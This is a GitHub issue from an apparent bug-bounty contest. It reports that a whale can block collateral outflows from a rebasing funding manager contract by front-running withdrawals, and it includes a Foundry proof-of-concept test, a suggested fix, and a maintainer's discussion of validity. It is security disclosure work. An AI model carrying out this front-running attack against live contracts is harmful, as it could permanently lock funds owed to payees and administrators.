Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Whales can block token outflows from FundingManager #147

Open
hats-bug-reporter bot opened this issue Jun 17, 2024 · 4 comments
Open

Whales can block token outflows from FundingManager #147

hats-bug-reporter bot opened this issue Jun 17, 2024 · 4 comments
Labels
bug Something isn't working invalid This doesn't seem right

Comments

@hats-bug-reporter
Copy link

Github username: @0xfuje
Twitter username: 0xfuje
Submission hash (on-chain): 0x41ef6d3310294b21dd45f69db24297ec9da819f4d32eabdaeb9f0e549a330f8a
Severity: medium

Description:

Impact

  • FundingManager: temporary denial of service until safeguards are turned on
  • FM_Rebasing_v1: blocking of all transferOrchestratorToken calls will lead to the collateral funds be permanently unaccessible to payment modules and orchestrator admin

Description

When a whale controls a sufficiently large supply of the issuance tokens of FundingManager, it's possibly for him to block outflowing collateral token transfers by the orchestrator admin or payment based modules by front-running transferOrchestratorToken calls with a sellOrder() or withdraw() call, then back-running with a deposit.

Note that the regular bonding curve funding manager can install preventative measures after the first of such attack so before transferOrchestratorToken() calls:

  • sell orders can be paused
  • fees can be raised so it's highly unprofitable for the attacker

However the rebasing funding manager doesn't have these features so an attacker can always block transferOrchestratorToken() calls when he has a larger supply than the outflowing orchestrator tokens.

Proof of Concept

  1. navigate to FM_Rebasing_v1.t.sol
  2. copy and paste the below proof of concept
  3. run forge test --match-test testBlockTransfer -vvvv
    function testBlockTransfer(address whale) public {
        vm.assume(whale != address(0) && whale != address(fundingManager));
        uint amount = DEPOSIT_CAP / 10;
        uint transferOutAmount = amount / 2;

        _token.mint(whale, amount);
        vm.startPrank(whale);
        _token.approve(address(fundingManager), type(uint).max);
        fundingManager.deposit(amount);
        vm.stopPrank();

        // 2. whale front-runs with withdraw
        vm.prank(whale);
        fundingManager.withdraw(transferOutAmount + 1);

        // 1. orchestrator submits TX to transfer orchestrator tokens out
        vm.expectRevert();
        vm.prank(address(_orchestrator));
        fundingManager.transferOrchestratorToken(
            address(_orchestrator), transferOutAmount
        );

        // 3. whale back-runs with deposit
        vm.prank(whale);
        fundingManager.deposit(transferOutAmount + 1);

        // 4. repeat until infinity -> whale's deposited collateral funds will never be accessible
    }

Recommendation

Consider to add either or both pause and fee functionality to FM_Rebasing_v1. A high fee before outflows would make it unprofitable to execute the attack. Pause would ensure that as a last resort the orchestrator admin can pause the contract and be able to transfer funds out.

@hats-bug-reporter hats-bug-reporter bot added the bug Something isn't working label Jun 17, 2024
@FHieser
Copy link

FHieser commented Jun 26, 2024

Why in any world would somebody willingly deposit funds in the RebasingFundingManager to just "deny" (Which isnt even the case if other funds lie around) the workflow

@FHieser FHieser added the invalid This doesn't seem right label Jun 26, 2024
@0xfuje
Copy link

0xfuje commented Jun 27, 2024

Hey @FHieser, appreciate the judging work!
When I was writing the submission I thought the incentive for the attacker could be:

  • to prevent their issuance token value decrease by the transferOrchestratorToken and capitalize on the deposits -> if there are generally more deposit flow in (e.g. at the deployment of the system) the token value will increase and he may could deny the workflow long enough to withdraw more profitably later (if funding action still remains un-executable with the other funds)
  • only deny funding that he doesn't like: e.g. a governance action to spend funds via the voting contract or a payment order to an address, or a bounty he disagrees with
  • do griefing / gas-griefing without risking his deposited funds: some people just want to cause harm and he can protect his funds (bc he can always front-run a governance action that would use his funds or pause the contract, etc., with withdrawal) he may get satisfaction from reverting the workflow over and over again, until governance are forced to take action or use other funds in the contract and then the fun is over and he can withdraw completely

but I do understand the limitations of this attack as it requires the FM_Rebasing_v1 being very low (lower than the funding action) on collateral tokens other than the attacker's

@FHieser
Copy link

FHieser commented Jun 28, 2024

Hey @0xfuje thanks for the explanation.
I was really scratching my head on this one. ^^
The way you explain it now it makes sense, but I didnt really get where you were coming from initially.
Thanks for clearing it up 🙏

@0xfuje
Copy link

0xfuje commented Jun 28, 2024

Of course, you are welcome! Sorry if the initial submission wasn't clear enough

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working invalid This doesn't seem right
Projects
None yet
Development

No branches or pull requests

2 participants